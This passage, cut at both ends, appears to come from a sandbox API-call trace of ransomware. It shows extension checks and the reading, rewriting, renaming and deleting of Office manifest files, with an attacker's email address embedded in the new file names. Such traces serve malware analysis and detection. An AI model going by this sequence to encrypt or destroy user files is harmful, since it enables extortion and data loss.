Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.657] lstrlenW (lpString=".doc") returned 4 [0072.657] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.657] lstrlenW (lpString=".docx") returned 5 [0072.657] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.657] lstrlenW (lpString=".pdf") returned 4 [0072.657] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString=".xls") returned 4 [0072.658] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString=".xlsx") returned 5 [0072.658] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.658] lstrlenW (lpString=".ppt") returned 4 [0072.658] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.658] lstrlenW (lpString=".zip") returned 4 [0072.658] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.658] lstrlenW (lpString=".rar") returned 4 [0072.658] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString=".bz2") returned 4 [0072.658] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString=".7z") returned 3 [0072.658] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.658] lstrlenW (lpString=".dbf") returned 4 [0072.658] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.658] lstrlenW (lpString=".1cd") returned 4 [0072.658] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.658] lstrlenW (lpString=".jpg") returned 4 [0072.658] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.658] lstrlenW (lpString=".doc") returned 4 [0072.658] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString=".docx") returned 5 [0072.658] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.658] lstrlenW (lpString=".pdf") returned 4 [0072.658] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString=".xls") returned 4 [0072.658] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.658] lstrlenW (lpString=".xlsx") returned 5 [0072.659] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.659] lstrlenW (lpString=".ppt") returned 4 [0072.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.659] lstrlenW (lpString=".zip") returned 4 [0072.659] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.659] lstrlenW (lpString=".rar") returned 4 [0072.659] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.659] lstrlenW (lpString=".bz2") returned 4 [0072.659] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.659] lstrlenW (lpString=".7z") returned 3 [0072.659] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.659] lstrlenW (lpString=".dbf") returned 4 [0072.659] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.659] lstrlenW (lpString=".1cd") returned 4 [0072.659] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0072.659] lstrlenW (lpString=".jpg") returned 4 [0072.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.659] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.659] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0072.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.659] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3754) returned 1 [0072.660] CloseHandle (hObject=0x344) returned 1 [0072.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0072.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.660] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.660] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0072.660] GetLastError () returned 0x0 [0072.660] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xeaa, lpOverlapped=0x0) returned 1 [0073.349] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0073.350] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.351] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0073.351] SetEndOfFile (hFile=0x37c) returned 1 [0073.351] CloseHandle (hObject=0x37c) returned 1 [0073.352] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.352] SetEndOfFile (hFile=0x344) returned 1 [0073.353] CloseHandle (hObject=0x344) returned 1 [0073.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0073.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.354] lstrlenW (lpString=".doc") returned 4 [0073.354] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.354] lstrlenW (lpString=".docx") returned 5 [0073.354] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0073.354] lstrlenW (lpString=".pdf") returned 4 [0073.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.354] lstrlenW (lpString=".xls") returned 4 [0073.354] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.354] lstrlenW (lpString=".xlsx") returned 5 [0073.354] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0073.354] lstrlenW (lpString=".ppt") returned 4 [0073.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.354] lstrlenW (lpString=".zip") returned 4 [0073.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.354] lstrlenW (lpString=".rar") returned 4 [0073.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.354] lstrlenW (lpString=".bz2") returned 4 [0073.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.354] lstrlenW (lpString=".7z") returned 3 [0073.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.354] lstrlenW (lpString=".dbf") returned 4 [0073.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.354] lstrlenW (lpString=".1cd") returned 4 [0073.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.354] lstrlenW (lpString=".jpg") returned 4 [0073.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.355] lstrlenW (lpString=".doc") returned 4 [0073.355] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString=".docx") returned 5 [0073.355] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0073.355] lstrlenW (lpString=".pdf") returned 4 [0073.355] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString=".xls") returned 4 [0073.355] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString=".xlsx") returned 5 [0073.355] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0073.355] lstrlenW (lpString=".ppt") returned 4 [0073.355] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.355] lstrlenW (lpString=".zip") returned 4 [0073.355] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.355] lstrlenW (lpString=".rar") returned 4 [0073.355] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString=".bz2") returned 4 [0073.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString=".7z") returned 3 [0073.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.355] lstrlenW (lpString=".dbf") returned 4 [0073.355] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.355] lstrlenW (lpString=".1cd") returned 4 [0073.355] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0073.355] lstrlenW (lpString=".jpg") returned 4 [0073.355] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.356] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0073.356] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0073.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.356] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9831) returned 1 [0073.356] CloseHandle (hObject=0x344) returned 1 [0073.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0073.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.356] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.356] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0073.357] GetLastError () returned 0x0 [0073.357] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2667, lpOverlapped=0x0) returned 1 [0073.358] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2670, lpOverlapped=0x0) returned 1 [0073.359] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.359] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x106, lpOverlapped=0x0) returned 1 [0073.360] SetEndOfFile (hFile=0x37c) returned 1 [0073.360] CloseHandle (hObject=0x37c) returned 1 [0073.361] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.361] SetEndOfFile (hFile=0x344) returned 1 [0073.362] CloseHandle (hObject=0x344) returned 1 [0073.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0073.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.362] lstrlenW (lpString=".doc") returned 4 [0073.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.362] lstrlenW (lpString=".docx") returned 5 [0073.362] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0073.362] lstrlenW (lpString=".pdf") returned 4 [0073.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.362] lstrlenW (lpString=".xls") returned 4 [0073.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.362] lstrlenW (lpString=".xlsx") returned 5 [0073.362] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0073.362] lstrlenW (lpString=".ppt") returned 4 [0073.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.363] lstrlenW (lpString=".zip") returned 4 [0073.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.363] lstrlenW (lpString=".rar") returned 4 [0073.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString=".bz2") returned 4 [0073.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString=".7z") returned 3 [0073.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.363] lstrlenW (lpString=".dbf") returned 4 [0073.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.363] lstrlenW (lpString=".1cd") returned 4 [0073.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.363] lstrlenW (lpString=".jpg") returned 4 [0073.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.363] lstrlenW (lpString=".doc") returned 4 [0073.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString=".docx") returned 5 [0073.363] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0073.363] lstrlenW (lpString=".pdf") returned 4 [0073.363] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString=".xls") returned 4 [0073.363] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.363] lstrlenW (lpString=".xlsx") returned 5 [0073.363] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0073.363] lstrlenW (lpString=".ppt") returned 4 [0073.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.364] lstrlenW (lpString=".zip") returned 4 [0073.364] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.364] lstrlenW (lpString=".rar") returned 4 [0073.364] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.364] lstrlenW (lpString=".bz2") returned 4 [0073.364] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.364] lstrlenW (lpString=".7z") returned 3 [0073.364] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.364] lstrlenW (lpString=".dbf") returned 4 [0073.364] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.364] lstrlenW (lpString=".1cd") returned 4 [0073.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0073.364] lstrlenW (lpString=".jpg") returned 4 [0073.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.364] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0073.364] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0073.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.364] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=373) returned 1 [0073.364] CloseHandle (hObject=0x344) returned 1 [0073.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0073.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.365] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.365] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0073.365] GetLastError () returned 0x0 [0073.365] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x175, lpOverlapped=0x0) returned 1 [0073.366] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x180, lpOverlapped=0x0) returned 1 [0073.367] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.367] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x100, lpOverlapped=0x0) returned 1 [0073.501] SetEndOfFile (hFile=0x37c) returned 1 [0073.501] CloseHandle (hObject=0x37c) returned 1 [0073.502] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.502] SetEndOfFile (hFile=0x344) returned 1 [0073.503] CloseHandle (hObject=0x344) returned 1 [0073.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: 